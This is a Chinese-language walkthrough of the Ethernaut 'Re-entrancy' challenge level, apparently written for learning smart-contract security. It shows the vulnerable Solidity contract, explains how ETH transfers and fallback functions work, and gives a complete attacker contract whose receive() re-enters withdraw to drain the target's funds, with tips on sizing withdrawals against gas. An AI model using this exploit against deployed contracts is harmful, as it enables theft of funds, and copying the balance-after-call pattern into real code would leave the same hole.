Re-entrancy
重入攻击
这一关的目标是转走合约的所有资产.
源码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
知识点:
- 从合约里给一个地址转 ETH,有三种方法
- transfer: 会携带 2300 gas,如果失败会直接 revert
- send: 会携带 2300 gas,返回一个 bool 值标记成功或失败
- call: 会发送所有剩余的 gas,返回
(bool success, bytes memory data)
,如果调用的是合约,合约的返回值会在 data 中体现
- 如果一个合约想要接收 ETH,需要实现
fallback()
或receive()
方法。 - 如果调用合约中不存在的函数,并且合约中有实现
fallback()
方法,则会自动进入fallback()
方法
攻击点:
withdraw
的时候,msg.sender
如果是个合约,在合约中写入恶意的fallback()
或receive()
方法,然后再利用递归调用。反复的执行 withdraw 的 call 方法。则可以实现重入攻击
递归调用原理
攻击合约示例
contract HackReentrance {
address payable reentrance;
constructor(address payable _reentrance) public {
reentrance = _reentrance;
}
function donate() external payable {
Reentrance(reentrance).donate{value: msg.value}(address(this));
}
function withdraw(uint256 _amount) external {
Reentrance(reentrance).withdraw(_amount);
}
function getReentranceBalance() external view returns(uint256) {
return reentrance.balance;
}
receive() external payable {
if(reentrance.balance != 0) {
Reentrance(reentrance).withdraw(msg.value);
}
}
}
这里要注意每次提现的金额和 gasLimit。如果每次提款金额很小,递归深度太深。导致 gas 消耗完以后程序会退出,提款提不干净。